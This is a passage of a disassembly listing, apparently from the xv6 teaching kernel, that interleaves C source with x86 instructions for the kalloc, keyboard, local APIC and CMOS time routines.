801027b0: 39 de cmp %ebx,%esi
801027b2: 73 e4 jae 80102798 <kinit2+0x28>
kmem.use_lock = 1;
801027b4: c7 05 34 29 11 80 01 movl $0x1,0x80112934
801027bb: 00 00 00
}
801027be: 8d 65 f8 lea -0x8(%ebp),%esp
801027c1: 5b pop %ebx
801027c2: 5e pop %esi
801027c3: 5d pop %ebp
801027c4: c3 ret
801027c5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801027c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801027d0 <kalloc>:
char*
kalloc(void)
{
struct run *r;
if(kmem.use_lock)
801027d0: a1 34 29 11 80 mov 0x80112934,%eax
801027d5: 85 c0 test %eax,%eax
801027d7: 75 1f jne 801027f8 <kalloc+0x28>
acquire(&kmem.lock);
r = kmem.freelist;
801027d9: a1 38 29 11 80 mov 0x80112938,%eax
if(r)
801027de: 85 c0 test %eax,%eax
801027e0: 74 0e je 801027f0 <kalloc+0x20>
kmem.freelist = r->next;
801027e2: 8b 10 mov (%eax),%edx
801027e4: 89 15 38 29 11 80 mov %edx,0x80112938
801027ea: c3 ret
801027eb: 90 nop
801027ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(kmem.use_lock)
release(&kmem.lock);
return (char*)r;
}
801027f0: f3 c3 repz ret
801027f2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
{
801027f8: 55 push %ebp
801027f9: 89 e5 mov %esp,%ebp
801027fb: 83 ec 24 sub $0x24,%esp
acquire(&kmem.lock);
801027fe: 68 00 29 11 80 push $0x80112900
80102803: e8 48 1e 00 00 call 80104650 <acquire>
r = kmem.freelist;
80102808: a1 38 29 11 80 mov 0x80112938,%eax
if(r)
8010280d: 83 c4 10 add $0x10,%esp
80102810: 8b 15 34 29 11 80 mov 0x80112934,%edx
80102816: 85 c0 test %eax,%eax
80102818: 74 08 je 80102822 <kalloc+0x52>
kmem.freelist = r->next;
8010281a: 8b 08 mov (%eax),%ecx
8010281c: 89 0d 38 29 11 80 mov %ecx,0x80112938
if(kmem.use_lock)
80102822: 85 d2 test %edx,%edx
80102824: 74 16 je 8010283c <kalloc+0x6c>
release(&kmem.lock);
80102826: 83 ec 0c sub $0xc,%esp
80102829: 89 45 f4 mov %eax,-0xc(%ebp)
8010282c: 68 00 29 11 80 push $0x80112900
80102831: e8 da 1e 00 00 call 80104710 <release>
return (char*)r;
80102836: 8b 45 f4 mov -0xc(%ebp),%eax
release(&kmem.lock);
80102839: 83 c4 10 add $0x10,%esp
}
8010283c: c9 leave
8010283d: c3 ret
8010283e: 66 90 xchg %ax,%ax
80102840 <kbdgetc>:
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102840: ba 64 00 00 00 mov $0x64,%edx
80102845: ec in (%dx),%al
normalmap, shiftmap, ctlmap, ctlmap
};
uint st, data, c;
st = inb(KBSTATP);
if((st & KBS_DIB) == 0)
80102846: a8 01 test $0x1,%al
80102848: 0f 84 c2 00 00 00 je 80102910 <kbdgetc+0xd0>
8010284e: ba 60 00 00 00 mov $0x60,%edx
80102853: ec in (%dx),%al
return -1;
data = inb(KBDATAP);
80102854: 0f b6 d0 movzbl %al,%edx
80102857: 8b 0d f4 a5 10 80 mov 0x8010a5f4,%ecx
if(data == 0xE0){
8010285d: 81 fa e0 00 00 00 cmp $0xe0,%edx
80102863: 0f 84 7f 00 00 00 je 801028e8 <kbdgetc+0xa8>
{
80102869: 55 push %ebp
8010286a: 89 e5 mov %esp,%ebp
8010286c: 53 push %ebx
8010286d: 89 cb mov %ecx,%ebx
8010286f: 83 e3 40 and $0x40,%ebx
shift |= E0ESC;
return 0;
} else if(data & 0x80){
80102872: 84 c0 test %al,%al
80102874: 78 4a js 801028c0 <kbdgetc+0x80>
// Key released
data = (shift & E0ESC ? data : data & 0x7F);
shift &= ~(shiftcode[data] | E0ESC);
return 0;
} else if(shift & E0ESC){
80102876: 85 db test %ebx,%ebx
80102878: 74 09 je 80102883 <kbdgetc+0x43>
// Last character was an E0 escape; or with 0x80
data |= 0x80;
8010287a: 83 c8 80 or $0xffffff80,%eax
shift &= ~E0ESC;
8010287d: 83 e1 bf and $0xffffffbf,%ecx
data |= 0x80;
80102880: 0f b6 d0 movzbl %al,%edx
}
shift |= shiftcode[data];
80102883: 0f b6 82 60 75 10 80 movzbl -0x7fef8aa0(%edx),%eax
8010288a: 09 c1 or %eax,%ecx
shift ^= togglecode[data];
8010288c: 0f b6 82 60 74 10 80 movzbl -0x7fef8ba0(%edx),%eax
80102893: 31 c1 xor %eax,%ecx
c = charcode[shift & (CTL | SHIFT)][data];
80102895: 89 c8 mov %ecx,%eax
shift ^= togglecode[data];
80102897: 89 0d f4 a5 10 80 mov %ecx,0x8010a5f4
c = charcode[shift & (CTL | SHIFT)][data];
8010289d: 83 e0 03 and $0x3,%eax
if(shift & CAPSLOCK){
801028a0: 83 e1 08 and $0x8,%ecx
c = charcode[shift & (CTL | SHIFT)][data];
801028a3: 8b 04 85 40 74 10 80 mov -0x7fef8bc0(,%eax,4),%eax
801028aa: 0f b6 04 10 movzbl (%eax,%edx,1),%eax
if(shift & CAPSLOCK){
801028ae: 74 31 je 801028e1 <kbdgetc+0xa1>
if('a' <= c && c <= 'z')
801028b0: 8d 50 9f lea -0x61(%eax),%edx
801028b3: 83 fa 19 cmp $0x19,%edx
801028b6: 77 40 ja 801028f8 <kbdgetc+0xb8>
c += 'A' - 'a';
801028b8: 83 e8 20 sub $0x20,%eax
else if('A' <= c && c <= 'Z')
c += 'a' - 'A';
}
return c;
}
801028bb: 5b pop %ebx
801028bc: 5d pop %ebp
801028bd: c3 ret
801028be: 66 90 xchg %ax,%ax
data = (shift & E0ESC ? data : data & 0x7F);
801028c0: 83 e0 7f and $0x7f,%eax
801028c3: 85 db test %ebx,%ebx
801028c5: 0f 44 d0 cmove %eax,%edx
shift &= ~(shiftcode[data] | E0ESC);
801028c8: 0f b6 82 60 75 10 80 movzbl -0x7fef8aa0(%edx),%eax
801028cf: 83 c8 40 or $0x40,%eax
801028d2: 0f b6 c0 movzbl %al,%eax
801028d5: f7 d0 not %eax
801028d7: 21 c1 and %eax,%ecx
return 0;
801028d9: 31 c0 xor %eax,%eax
shift &= ~(shiftcode[data] | E0ESC);
801028db: 89 0d f4 a5 10 80 mov %ecx,0x8010a5f4
}
801028e1: 5b pop %ebx
801028e2: 5d pop %ebp
801028e3: c3 ret
801028e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
shift |= E0ESC;
801028e8: 83 c9 40 or $0x40,%ecx
return 0;
801028eb: 31 c0 xor %eax,%eax
shift |= E0ESC;
801028ed: 89 0d f4 a5 10 80 mov %ecx,0x8010a5f4
return 0;
801028f3: c3 ret
801028f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
else if('A' <= c && c <= 'Z')
801028f8: 8d 48 bf lea -0x41(%eax),%ecx
c += 'a' - 'A';
801028fb: 8d 50 20 lea 0x20(%eax),%edx
}
801028fe: 5b pop %ebx
c += 'a' - 'A';
801028ff: 83 f9 1a cmp $0x1a,%ecx
80102902: 0f 42 c2 cmovb %edx,%eax
}
80102905: 5d pop %ebp
80102906: c3 ret
80102907: 89 f6 mov %esi,%esi
80102909: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
return -1;
80102910: b8 ff ff ff ff mov $0xffffffff,%eax
}
80102915: c3 ret
80102916: 8d 76 00 lea 0x0(%esi),%esi
80102919: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102920 <kbdintr>:
void
kbdintr(void)
{
80102920: 55 push %ebp
80102921: 89 e5 mov %esp,%ebp
80102923: 83 ec 14 sub $0x14,%esp
consoleintr(kbdgetc);
80102926: 68 40 28 10 80 push $0x80102840
8010292b: e8 b0 e1 ff ff call 80100ae0 <consoleintr>
}
80102930: 83 c4 10 add $0x10,%esp
80102933: c9 leave
80102934: c3 ret
80102935: 66 90 xchg %ax,%ax
80102937: 66 90 xchg %ax,%ax
80102939: 66 90 xchg %ax,%ax
8010293b: 66 90 xchg %ax,%ax
8010293d: 66 90 xchg %ax,%ax
8010293f: 90 nop
80102940 <lapicinit>:
}
void
lapicinit(void)
{
if(!lapic)
80102940: a1 3c 29 11 80 mov 0x8011293c,%eax
{
80102945: 55 push %ebp
80102946: 89 e5 mov %esp,%ebp
if(!lapic)
80102948: 85 c0 test %eax,%eax
8010294a: 0f 84 c8 00 00 00 je 80102a18 <lapicinit+0xd8>
lapic[index] = value;
80102950: c7 80 f0 00 00 00 3f movl $0x13f,0xf0(%eax)
80102957: 01 00 00
lapic[ID]; // wait for write to finish, by reading
8010295a: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
8010295d: c7 80 e0 03 00 00 0b movl $0xb,0x3e0(%eax)
80102964: 00 00 00
lapic[ID]; // wait for write to finish, by reading
80102967: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
8010296a: c7 80 20 03 00 00 20 movl $0x20020,0x320(%eax)
80102971: 00 02 00
lapic[ID]; // wait for write to finish, by reading
80102974: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
80102977: c7 80 80 03 00 00 80 movl $0x989680,0x380(%eax)
8010297e: 96 98 00
lapic[ID]; // wait for write to finish, by reading
80102981: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
80102984: c7 80 50 03 00 00 00 movl $0x10000,0x350(%eax)
8010298b: 00 01 00
lapic[ID]; // wait for write to finish, by reading
8010298e: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
80102991: c7 80 60 03 00 00 00 movl $0x10000,0x360(%eax)
80102998: 00 01 00
lapic[ID]; // wait for write to finish, by reading
8010299b: 8b 50 20 mov 0x20(%eax),%edx
lapicw(LINT0, MASKED);
lapicw(LINT1, MASKED);
// Disable performance counter overflow interrupts
// on machines that provide that interrupt entry.
if(((lapic[VER]>>16) & 0xFF) >= 4)
8010299e: 8b 50 30 mov 0x30(%eax),%edx
801029a1: c1 ea 10 shr $0x10,%edx
801029a4: 80 fa 03 cmp $0x3,%dl
801029a7: 77 77 ja 80102a20 <lapicinit+0xe0>
lapic[index] = value;
801029a9: c7 80 70 03 00 00 33 movl $0x33,0x370(%eax)
801029b0: 00 00 00
lapic[ID]; // wait for write to finish, by reading
801029b3: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
801029b6: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax)
801029bd: 00 00 00
lapic[ID]; // wait for write to finish, by reading
801029c0: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
801029c3: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax)
801029ca: 00 00 00
lapic[ID]; // wait for write to finish, by reading
801029cd: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
801029d0: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax)
801029d7: 00 00 00
lapic[ID]; // wait for write to finish, by reading
801029da: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
801029dd: c7 80 10 03 00 00 00 movl $0x0,0x310(%eax)
801029e4: 00 00 00
lapic[ID]; // wait for write to finish, by reading
801029e7: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
801029ea: c7 80 00 03 00 00 00 movl $0x88500,0x300(%eax)
801029f1: 85 08 00
lapic[ID]; // wait for write to finish, by reading
801029f4: 8b 50 20 mov 0x20(%eax),%edx
801029f7: 89 f6 mov %esi,%esi
801029f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
lapicw(EOI, 0);
// Send an Init Level De-Assert to synchronise arbitration ID's.
lapicw(ICRHI, 0);
lapicw(ICRLO, BCAST | INIT | LEVEL);
while(lapic[ICRLO] & DELIVS)
80102a00: 8b 90 00 03 00 00 mov 0x300(%eax),%edx
80102a06: 80 e6 10 and $0x10,%dh
80102a09: 75 f5 jne 80102a00 <lapicinit+0xc0>
lapic[index] = value;
80102a0b: c7 80 80 00 00 00 00 movl $0x0,0x80(%eax)
80102a12: 00 00 00
lapic[ID]; // wait for write to finish, by reading
80102a15: 8b 40 20 mov 0x20(%eax),%eax
;
// Enable interrupts on the APIC (but not on the processor).
lapicw(TPR, 0);
}
80102a18: 5d pop %ebp
80102a19: c3 ret
80102a1a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
lapic[index] = value;
80102a20: c7 80 40 03 00 00 00 movl $0x10000,0x340(%eax)
80102a27: 00 01 00
lapic[ID]; // wait for write to finish, by reading
80102a2a: 8b 50 20 mov 0x20(%eax),%edx
80102a2d: e9 77 ff ff ff jmp 801029a9 <lapicinit+0x69>
80102a32: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80102a39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102a40 <lapicid>:
int
lapicid(void)
{
if (!lapic)
80102a40: 8b 15 3c 29 11 80 mov 0x8011293c,%edx
{
80102a46: 55 push %ebp
80102a47: 31 c0 xor %eax,%eax
80102a49: 89 e5 mov %esp,%ebp
if (!lapic)
80102a4b: 85 d2 test %edx,%edx
80102a4d: 74 06 je 80102a55 <lapicid+0x15>
return 0;
return lapic[ID] >> 24;
80102a4f: 8b 42 20 mov 0x20(%edx),%eax
80102a52: c1 e8 18 shr $0x18,%eax
}
80102a55: 5d pop %ebp
80102a56: c3 ret
80102a57: 89 f6 mov %esi,%esi
80102a59: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102a60 <lapiceoi>:
// Acknowledge interrupt.
void
lapiceoi(void)
{
if(lapic)
80102a60: a1 3c 29 11 80 mov 0x8011293c,%eax
{
80102a65: 55 push %ebp
80102a66: 89 e5 mov %esp,%ebp
if(lapic)
80102a68: 85 c0 test %eax,%eax
80102a6a: 74 0d je 80102a79 <lapiceoi+0x19>
lapic[index] = value;
80102a6c: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax)
80102a73: 00 00 00
lapic[ID]; // wait for write to finish, by reading
80102a76: 8b 40 20 mov 0x20(%eax),%eax
lapicw(EOI, 0);
}
80102a79: 5d pop %ebp
80102a7a: c3 ret
80102a7b: 90 nop
80102a7c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102a80 <microdelay>:
// Spin for a given number of microseconds.
// On real hardware would want to tune this dynamically.
void
microdelay(int us)
{
80102a80: 55 push %ebp
80102a81: 89 e5 mov %esp,%ebp
}
80102a83: 5d pop %ebp
80102a84: c3 ret
80102a85: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102a89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102a90 <lapicstartap>:
// Start additional processor running entry code at addr.
// See Appendix B of MultiProcessor Specification.
void
lapicstartap(uchar apicid, uint addr)
{
80102a90: 55 push %ebp
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102a91: b8 0f 00 00 00 mov $0xf,%eax
80102a96: ba 70 00 00 00 mov $0x70,%edx
80102a9b: 89 e5 mov %esp,%ebp
80102a9d: 53 push %ebx
80102a9e: 8b 4d 0c mov 0xc(%ebp),%ecx
80102aa1: 8b 5d 08 mov 0x8(%ebp),%ebx
80102aa4: ee out %al,(%dx)
80102aa5: b8 0a 00 00 00 mov $0xa,%eax
80102aaa: ba 71 00 00 00 mov $0x71,%edx
80102aaf: ee out %al,(%dx)
// and the warm reset vector (DWORD based at 40:67) to point at
// the AP startup code prior to the [universal startup algorithm]."
outb(CMOS_PORT, 0xF); // offset 0xF is shutdown code
outb(CMOS_PORT+1, 0x0A);
wrv = (ushort*)P2V((0x40<<4 | 0x67)); // Warm reset vector
wrv[0] = 0;
80102ab0: 31 c0 xor %eax,%eax
wrv[1] = addr >> 4;
// "Universal startup algorithm."
// Send INIT (level-triggered) interrupt to reset other CPU.
lapicw(ICRHI, apicid<<24);
80102ab2: c1 e3 18 shl $0x18,%ebx
wrv[0] = 0;
80102ab5: 66 a3 67 04 00 80 mov %ax,0x80000467
wrv[1] = addr >> 4;
80102abb: 89 c8 mov %ecx,%eax
// when it is in the halted state due to an INIT. So the second
// should be ignored, but it is part of the official Intel algorithm.
// Bochs complains about the second one. Too bad for Bochs.
for(i = 0; i < 2; i++){
lapicw(ICRHI, apicid<<24);
lapicw(ICRLO, STARTUP | (addr>>12));
80102abd: c1 e9 0c shr $0xc,%ecx
wrv[1] = addr >> 4;
80102ac0: c1 e8 04 shr $0x4,%eax
lapicw(ICRHI, apicid<<24);
80102ac3: 89 da mov %ebx,%edx
lapicw(ICRLO, STARTUP | (addr>>12));
80102ac5: 80 cd 06 or $0x6,%ch
wrv[1] = addr >> 4;
80102ac8: 66 a3 69 04 00 80 mov %ax,0x80000469
lapic[index] = value;
80102ace: a1 3c 29 11 80 mov 0x8011293c,%eax
80102ad3: 89 98 10 03 00 00 mov %ebx,0x310(%eax)
lapic[ID]; // wait for write to finish, by reading
80102ad9: 8b 58 20 mov 0x20(%eax),%ebx
lapic[index] = value;
80102adc: c7 80 00 03 00 00 00 movl $0xc500,0x300(%eax)
80102ae3: c5 00 00
lapic[ID]; // wait for write to finish, by reading
80102ae6: 8b 58 20 mov 0x20(%eax),%ebx
lapic[index] = value;
80102ae9: c7 80 00 03 00 00 00 movl $0x8500,0x300(%eax)
80102af0: 85 00 00
lapic[ID]; // wait for write to finish, by reading
80102af3: 8b 58 20 mov 0x20(%eax),%ebx
lapic[index] = value;
80102af6: 89 90 10 03 00 00 mov %edx,0x310(%eax)
lapic[ID]; // wait for write to finish, by reading
80102afc: 8b 58 20 mov 0x20(%eax),%ebx
lapic[index] = value;
80102aff: 89 88 00 03 00 00 mov %ecx,0x300(%eax)
lapic[ID]; // wait for write to finish, by reading
80102b05: 8b 58 20 mov 0x20(%eax),%ebx
lapic[index] = value;
80102b08: 89 90 10 03 00 00 mov %edx,0x310(%eax)
lapic[ID]; // wait for write to finish, by reading
80102b0e: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
80102b11: 89 88 00 03 00 00 mov %ecx,0x300(%eax)
lapic[ID]; // wait for write to finish, by reading
80102b17: 8b 40 20 mov 0x20(%eax),%eax
microdelay(200);
}
}
80102b1a: 5b pop %ebx
80102b1b: 5d pop %ebp
80102b1c: c3 ret
80102b1d: 8d 76 00 lea 0x0(%esi),%esi
80102b20 <cmostime>:
}
// qemu seems to use 24-hour GWT and the values are BCD encoded
void
cmostime(struct rtcdate *r)
{
80102b20: 55 push %ebp
80102b21: b8 0b 00 00 00 mov $0xb,%eax
80102b26: ba 70 00 00 00 mov $0x70,%edx
80102b2b: 89 e5 mov %esp,%ebp
80102b2d: 57 push %edi
80102b2e: 56 push %esi
80102b2f: 53 push %ebx
80102b30: 83 ec 4c sub $0x4c,%esp
80102b33: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102b34: ba 71 00 00 00 mov $0x71,%edx
80102b39: ec in (%dx),%al
80102b3a: 83 e0 04 and $0x4,%eax
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102b3d: bb 70 00 00 00 mov $0x70,%ebx
80102b42: 88 45 b3 mov %al,-0x4d(%ebp)
80102b45: 8d 76 00 lea 0x0(%esi),%esi
80102b48: 31 c0 xor %eax,%eax
80102b4a: 89 da mov %ebx,%edx
80102b4c: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102b4d: b9 71 00 00 00 mov $0x71,%ecx
80102b52: 89 ca mov %ecx,%edx
80102b54: ec in (%dx),%al
80102b55: 88 45 b7 mov %al,-0x49(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102b58: 89 da mov %ebx,%edx
80102b5a: b8 02 00 00 00 mov $0x2,%eax
80102b5f: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102b60: 89 ca mov %ecx,%edx
80102b62: ec in (%dx),%al
80102b63: 88 45 b6 mov %al,-0x4a(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102b66: 89 da mov %ebx,%edx
80102b68: b8 04 00 00 00 mov $0x4,%eax
80102b6d: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102b6e: 89 ca mov %ecx,%edx
80102b70: ec in (%dx),%al
80102b71: 88 45 b5 mov %al,-0x4b(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102b74: 89 da mov %ebx,%edx
80102b76: b8 07 00 00 00 mov $0x7,%eax
80102b7b: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102b7c: 89 ca mov %ecx,%edx
80102b7e: ec in (%dx),%al
80102b7f: 88 45 b4 mov %al,-0x4c(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102b82: 89 da mov %ebx,%edx
80102b84: b8 08 00 00 00 mov $0x8,%eax
80102b89: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102b8a: 89 ca mov %ecx,%edx
80102b8c: ec in (%dx),%al
80102b8d: 89 c7 mov %eax,%edi
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102b8f: 89 da mov %ebx,%edx
80102b91: b8 09 00 00 00 mov $0x9,%eax
80102b96: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102b97: 89 ca mov %ecx,%edx
80102b99: ec in (%dx),%al
80102b9a: 89 c6 mov %eax,%esi
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102b9c: 89 da mov %ebx,%edx
80102b9e: b8 0a 00 00 00 mov $0xa,%eax
80102ba3: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102ba4: 89 ca mov %ecx,%edx
80102ba6: ec in (%dx),%al
bcd = (sb & (1 << 2)) == 0;
// make sure CMOS doesn't modify time while we read it
for(;;) {
fill_rtcdate(&t1);
if(cmos_read(CMOS_STATA) & CMOS_UIP)
80102ba7: 84 c0 test %al,%al
80102ba9: 78 9d js 80102b48 <cmostime+0x28>
return inb(CMOS_RETURN);
80102bab: 0f b6 45 b7 movzbl -0x49(%ebp),%eax
80102baf: 89 fa mov %edi,%edx
80102bb1: 0f b6 fa movzbl %dl,%edi
80102bb4: 89 f2 mov %esi,%edx
80102bb6: 0f b6 f2 movzbl %dl,%esi
80102bb9: 89 7d c8 mov %edi,-0x38(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102bbc: 89 da mov %ebx,%edx
80102bbe: 89 75 cc mov %esi,-0x34(%ebp)
80102bc1: 89 45 b8 mov %eax,-0x48(%ebp)
80102bc4: 0f b6 45 b6 movzbl -0x4a(%ebp),%eax
80102bc8: 89 45 bc mov %eax,-0x44(%ebp)
80102bcb: 0f b6 45 b5 movzbl -0x4b(%ebp),%eax
80102bcf: 89 45 c0 mov %eax,-0x40(%ebp)
80102bd2: 0f b6 45 b4 movzbl -0x4c(%ebp),%eax
80102bd6: 89 45 c4 mov %eax,-0x3c(%ebp)
80102bd9: 31 c0 xor %eax,%eax
80102bdb: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102bdc: 89 ca mov %ecx,%edx
80102bde: ec in (%dx),%al
80102bdf: 0f b6 c0 movzbl %al,%eax
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102be2: 89 da mov %ebx,%edx
80102be4: 89 45 d0 mov %eax,-0x30(%ebp)
80102be7: b8 02 00 00 00 mov $0x2,%eax
80102bec: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102bed: 89 ca mov %ecx,%edx
80102bef: ec in (%dx),%al
80102bf0: 0f b6 c0 movzbl %al,%eax
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102bf3: 89 da mov %ebx,%edx
80102bf5: 89 45 d4 mov %eax,-0x2c(%ebp)
80102bf8: b8 04 00 00 00 mov $0x4,%eax
80102bfd: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102bfe: 89 ca mov %ecx,%edx
80102c00: ec in (%dx),%al
80102c01: 0f b6 c0 movzbl %al,%eax
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102c04: 89 da mov %ebx,%edx
80102c06: 89 45 d8 mov %eax,-0x28(%ebp)
80102c09: b8 07 00 00 00 mov $0x7,%eax
80102c0e: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102c0f: 89 ca mov %ecx,%edx
80102c11: ec in (%dx),%al
80102c12: 0f b6 c0 movzbl %al,%eax
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102c15: 89 da mov %ebx,%edx
80102c17: 89 45 dc mov %eax,-0x24(%ebp)
80102c1a: b8 08 00 00 00 mov $0x8,%eax
80102c1f: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102c20: 89 ca mov %ecx,%edx
80102c22: ec in (%dx),%al
80102c23: 0f b6 c0 movzbl %al,%eax
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102c26: 89 da mov %ebx,%edx
80102c28: 89 45 e0 mov %eax,-0x20(%ebp)
80102c2b: b8 09 00 00 00 mov $0x9,%eax
80102c30: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102c31: 89 ca mov %ecx,%edx
80102c33: ec in (%dx),%al
80102c34: 0f b6 c0 movzbl %al,%eax
continue;
fill_rtcdate(&t2);
if(memcmp(&t1, &t2, sizeof(t1)) == 0)
80102c37: 83 ec 04 sub $0x4,%esp
return inb(CMOS_RETURN);
80102c3a: 89 45 e4 mov %eax,-0x1c(%ebp)
if(memcmp(&t1, &t2, sizeof(t1)) == 0)
80102c3d: 8d 45 d0 lea -0x30(%ebp),%eax
80102c40: 6a 18 push $0x18
80102c42: 50 push %eax
80102c43: 8d 45 b8 lea -0x48(%ebp),%eax
80102c46: 50 push %eax
80102c47: e8 64 1b 00 00 call 801047b0 <memcmp>
80102c4c: 83 c4 10 add $0x10,%esp
80102c4f: 85 c0 test %eax,%eax
80102c51: 0f 85 f1 fe ff ff jne 80102b48 <cmostime+0x28>
break;
}
// convert
if(bcd) {
80102c57: 80 7d b3 00 cmpb $0x0,-0x4d(%ebp)
80102c5b: 75 78 jne 80102cd5 <cmostime+0x1b5>
#define CONV(x) (t1.x = ((t1.x >> 4) * 10) + (t1.x & 0xf))
CONV(second);
80102c5d: 8b 45 b8 mov -0x48(%ebp),%eax
80102c60: 89 c2 mov %eax,%edx
80102c62: 83 e0 0f and $0xf,%eax
80102c65: c1 ea 04 shr $0x4,%edx
80102c68: 8d 14 92 lea (%edx,%edx,4),%edx
80102c6b: 8d 04 50 lea (%eax,%edx,2),%eax
80102c6e: 89 45 b8 mov %eax,-0x48(%ebp)
CONV(minute);
80102c71: 8b 45 bc mov -0x44(%ebp),%eax
80102c74: 89 c2 mov %eax,%edx
80102c76: 83 e0 0f and $0xf,%eax
80102c79: c1 ea 04 shr $0x4,%edx
80102c7c: 8d 14 92 lea (%edx,%edx,4),%edx
80102c7f: 8d 04 50 lea (%eax,%edx,2),%eax
80102c82: 89 45 bc mov %eax,-0x44(%ebp)
CONV(hour );
80102c85: 8b 45 c0 mov -0x40(%ebp),%eax
80102c88: 89 c2 mov %eax,%edx
80102c8a: 83 e0 0f and $0xf,%eax
80102c8d: c1 ea 04 shr $0x4,%edx
80102c90: 8d 14 92 lea (%edx,%edx,4),%edx
80102c93: 8d 04 50 lea (%eax,%edx,2),%eax
80102c96: 89 45 c0 mov %eax,-0x40(%ebp)
CONV(day );
80102c99: 8b 45 c4 mov -0x3c(%ebp),%eax
80102c9c: 89 c2 mov %eax,%edx
80102c9e: 83 e0 0f and $0xf,%eax
80102ca1: c1 ea 04 shr $0x4,%edx
80102ca4: 8d 14 92 lea (%edx,%edx,4),%edx
80102ca7: 8d 04 50 lea (%eax,%edx,2),%eax
80102caa: 89 45 c4 mov %eax,-0x3c(%ebp)
CONV(month );
80102cad: 8b 45 c8 mov -0x38(%ebp),%eax
80102cb0: 89 c2 mov %eax,%edx
80102cb2: 83 e0 0f and $0xf,%eax
80102cb5: c1 ea 04 shr $0x4,%edx
80102cb8: 8d 14 92 lea (%edx,%edx,4),%edx
80102cbb: 8d 04 50 lea (%eax,%edx,2),%eax
80102cbe: 89 45 c8 mov %eax,-0x38(%ebp)
CONV(year );
80102cc1: 8b 45 cc mov -0x34(%ebp),%eax
80102cc4: 89 c2 mov %eax,%edx
80102cc6: 83 e0 0f and $0xf,%eax
80102cc9: c1 ea 04 shr $0x4,%edx
80102ccc: 8d 14 92 lea (%edx,%edx,4),%edx
80102ccf: 8d 04 50 lea (%eax,%edx,2),%eax
80102cd2: 89 45 cc mov %eax,-0x34(%ebp)
#undef CONV
}
*r = t1;
80102cd5: 8b 75 08 mov 0x8(%ebp),%esi
80102cd8: 8b 45 b8 mov -0x48(%ebp),%eax
80102cdb: 89 06 mov %eax,(%esi)
80102cdd: 8b 45 bc mov -0x44(%ebp),%eax
80102ce0: 89 46 04 mov %eax,0x4(%esi)
80102ce3: 8b 45 c0 mov -0x40(%ebp),%eax
80102ce6: 89 46 08 mov %eax,0x8(%esi)
80102ce9: 8b 45 c4 mov -0x3c(%ebp),%eax
80102cec: 89 46 0c mov %eax,0xc(%esi)
80102cef: 8b 45 c8 mov -0x38(%ebp),%eax
80102cf2: 89 46 10 mov %eax,0x10(%esi)
80102cf5: 8b 45 cc mov -0x34(%ebp),%eax
80102cf8: 89 46 14 mov %eax,0x14(%esi)
r->year += 2000;
80102cfb: 81 46 14 d0 07 00 00 addl $0x7d0,0x14(%esi)
}
80102d02: 8d 65 f4 lea -0xc(%ebp),%esp
